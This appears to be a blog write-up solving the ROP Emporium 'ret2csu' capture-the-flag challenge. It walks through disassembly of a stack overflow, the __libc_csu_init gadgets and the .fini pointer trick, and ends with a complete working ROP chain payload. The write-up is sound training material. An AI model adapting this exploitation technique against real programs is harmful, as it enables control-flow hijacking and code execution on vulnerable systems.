Post

08_ret2csu

ROP Emporium ret2csu

  • Tools: IDA Free 7.0, gdb-gef, ropper, readelf
  • Prerequistes: Stack frame
  • Download solution: main.py

Overview

“The challenge is simple: call the ret2win() function, the caveat this time is that the third argument (which you know by now is stored in the rdx register on x86_64 Linux) must be 0xdeadcafebabebeef.”

Function pwnme()

As usual, the stack buffer expects an input of up to 0x20 bytes, but _fget() allows a much longer one:

1
2
3
4
5
6
7
8
9
10
11
0x000000000040071C    lea     rax, [rbp+input_buffer]
0x0000000000400720    mov     edx, 20h        ; n
0x0000000000400725    mov     esi, 0          ; c
0x000000000040072A    mov     rdi, rax        ; s
0x000000000040072D    call    _memset
[...]
0x0000000000400783    mov     rdx, cs:stdin@@GLIBC_2_2_5 ; stream
0x000000000040078A    lea     rax, [rbp+input_buffer]
0x000000000040078E    mov     esi, 0B0h       ; n
0x0000000000400793    mov     rdi, rax        ; s
0x0000000000400796    call    _fgets

In addition, the .got.plt entries are set to zero when not needed anymore (code not shown).

Function ret2win()

The aim is to call this function with RDX = 0xdeadcafebabebeef. This value will be xored with hardcoded data to decrypt the string "/bin/cat flag.txt" and call _system(). Automatic gadgets finder (I’m using ropper) doesn’t bring easy solutions such as pop rdx or mov rdx, %. However, author of the challenge gives us a cool reference containing the roadmap to solve it.

Function __libc_csu_init()

This function is part of what authors of the paper linked above call “attached code”: code that is automatically added to the application by the linker. It has indeed 2 useful gadgets, a “mov gadget” and a “pop gadget”:

1
2
3
4
0x0000000000400880    mov     rdx, r15
0x0000000000400883    mov     rsi, r14
0x0000000000400886    mov     edi, r13d
0x0000000000400889    call    qword ptr [r12+rbx*8]

And:

1
2
3
4
5
6
7
0x000000000040089A    pop     rbx
0x000000000040089B    pop     rbp
0x000000000040089C    pop     r12
0x000000000040089E    pop     r13
0x00000000004008A0    pop     r14
0x00000000004008A2    pop     r15
0x00000000004008A4    retn

So, instructions pop r15 and mov rdx, r15 allow to set RDX to the required value. All we need now is finding a way to call ret2win().

Calling ret2win()

The instruction call qword ptr [r12+rbx*8] will be executed, but no easy arbitrary write could be found. Same result for an eventual table of pointers containing the address of ret2win(). After some wandering and googling, the .dynamic section contains a pointer to a “do nothing” function:

1
2
3
4
5
LOAD:0000000000600E20 _DYNAMIC    Elf64_Dyn <1, 1>
LOAD:0000000000600E20             ; DT_NEEDED libc.so.6
LOAD:0000000000600E30             Elf64_Dyn <0Ch, 400560h> ; DT_INIT
LOAD:0000000000600E40             Elf64_Dyn <0Dh, 4008B4h> ; DT_FINI
[...]

And the code contained inside the .fini section:

1
2
3
.fini:00000000004008B4    sub     rsp, 8          ; _fini
.fini:00000000004008B8    add     rsp, 8
.fini:00000000004008BC    retn

So, if RBX = 0 and R12 = 0x600e48 we can call 4008B4h. Returning from this call, we land here:

1
2
3
4
5
6
7
8
; above is the "mov gadget"
0x000000000040088D    add     rbx, 1
0x0000000000400891    cmp     rbp, rbx
0x0000000000400894    jnz     short loc_400880
0x0000000000400896
0x0000000000400896 loc_400896: 
0x0000000000400896    add     rsp, 8
; below is the "pop gadget"

We need to avoid the conditional jump, so RBP should be set to 1 during the first execution of the “pop” gadget. Then, we can return to ret2win() and enjoy having solved all of the (64 bits) ROP Emporium challenges.

ROP chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
payload = b''
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'  # fill buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'  # fill buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'  # fill buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'  # fill buffer
payload += b'\x42\x42\x42\x42\x42\x42\x42\x42'  # overwrite RBP
payload += b'\x9a\x08\x40\x00\x00\x00\x00\x00'  # gadget 1

# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# rbp is set to 1 because of the future add rbx, 1; cmp rbp, rbx
payload += b'\x00\x00\x00\x00\x00\x00\x00\x00'  # pop rbx
payload += b'\x01\x00\x00\x00\x00\x00\x00\x00'  # pop rbp
payload += b'\x48\x0e\x60\x00\x00\x00\x00\x00'  # pop r12 (ptr .fini)
payload += b'\x43\x43\x43\x43\x43\x43\x43\x43'  # pop r13
payload += b'\x44\x44\x44\x44\x44\x44\x44\x44'  # pop r14
payload += b'\xef\xbe\xbe\xba\xfe\xca\xad\xde'  # pop r15
payload += b'\x80\x08\x40\x00\x00\x00\x00\x00'  # gadget 2

# mov rdx, r15; mov rsi, r14; mov edi, r13d; ; call _fini
# + second exec of "gadget 1", but with an add rsp, 8
payload += b'\x45\x45\x45\x45\x45\x45\x45\x45'  # add rsp, 8
payload += b'\x46\x46\x46\x46\x46\x46\x46\x46'  # pop rbx
payload += b'\x47\x47\x47\x47\x47\x47\x47\x47'  # pop rbp
payload += b'\x48\x48\x48\x48\x48\x48\x48\x48'  # pop r12
payload += b'\x49\x49\x49\x49\x49\x49\x49\x49'  # pop r13
payload += b'\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a'  # pop r14
payload += b'\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b'  # pop r15
payload += b'\xb1\x07\x40\x00\x00\x00\x00\x00'  # ret2win()

EOF

This post is licensed under CC BY 4.0 by the author.